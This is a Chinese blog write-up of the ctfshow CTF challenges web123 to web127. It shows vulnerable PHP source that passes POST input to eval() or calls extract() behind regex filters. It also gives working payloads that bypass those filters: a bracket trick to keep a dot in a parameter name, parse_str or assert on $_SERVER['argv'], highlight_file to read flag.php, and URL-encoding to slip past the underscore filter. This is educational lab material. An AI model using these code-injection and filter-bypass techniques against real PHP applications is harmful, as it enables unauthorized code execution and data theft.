ctfshow web123-127

f0njl

已于 2022-02-08 22:56:38 修改

阅读量3k

点赞数 1

分类专栏： ctfshow 文章标签： web

于 2022-02-08 22:55:47 首次发布

本文链接：https://blog.csdn.net/akxnxbshai/article/details/122832893

版权

ctfshow 专栏收录该内容

21 篇文章 2 订阅

订阅专栏

Web 123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

方法一：

查看代码后发现$fl0g根本不能用所以用eval函数得到flag，

存在CTF_SHOW存在CTF_SHOW.COM不能存在fl0g

而且执行的是$c

所以我直接POST传入:

CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag

发现一直无法得到flag，仔细看了一下好像是因为传入的CTF_SHOW.COM中的点会被替换，上网查了如何绕过

在php中变量名只有数字字母下划线，被get或者post传入的变量名，如果含有空格、+、[则会被转化为_，所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.)，但php中有个特性就是如果传入[，它被转化为_之后，后面的字符就会被保留下来不会被替换

payload：

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

方法二：

和125的情况一样，原理125已经解释过了。

Payload：

GET：?a=1+fl0g=flag_give_me

POST：CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

Web 125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

起初还以为是和上一题一样的，所以直接用了上一题的payload

但发现不成功，发现echo、flag等被禁用了

方法一：

用了highlight_file()，利用GET把fun要显示的文件变为由shell GET到的文件。

Payload：

GET:?shell=flag.php


POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[shell])

方法二：

利用$_SERVER['argv']，在大佬那看了这一函数的讲解。

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。

'argv'

传递给该脚本的参数的数组。当脚本以命令行方式运行时，argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时，该变量包含query string。

意思就是通过$_SERVER['argv']将$a变成数组，再利用数组的性质将fl0g=flag_give_me传入，同时还绕过第一个if中的!isset($_GET['fl0g']))，用+来进行分隔，使得数组中有多个数值。

执行eval函数也就是执行$c即是parse_str($a[1])，使得fl0g=flag_give_me，从而进入第三个if语句。

Payload：

GET：?a=1+fl0g=flag_give_me

POST：CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

Web 126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

同web125

Payload：

GET：?a=1+fl0g=flag_give_me

POST：CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

还有一个

payload：

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

Web 127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼？");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

方法一：

在web123就了解过，点或空格会被转化为下划线，由于点被过滤，所以可以用上空格。

Payload：

?ctf show=ilove36d

方法二：

$_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串，所以对_进行一次url编码也能绕过。

Payload：?ctf%5fshow=ilove36d

f0njl

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
ctfshow web123-127

目录Web 123Web 125Web 126Web 127Web 123<?php/*# -*- coding: utf-8 -*-# @Author: Firebasky# @Date: 2020-09-05 20:49:30# @Last Modified by: h1xa# @Last Modified time: 2020-09-07 22:02:47# @email: [email protected]# @link: https://ct
复制链接

扫一扫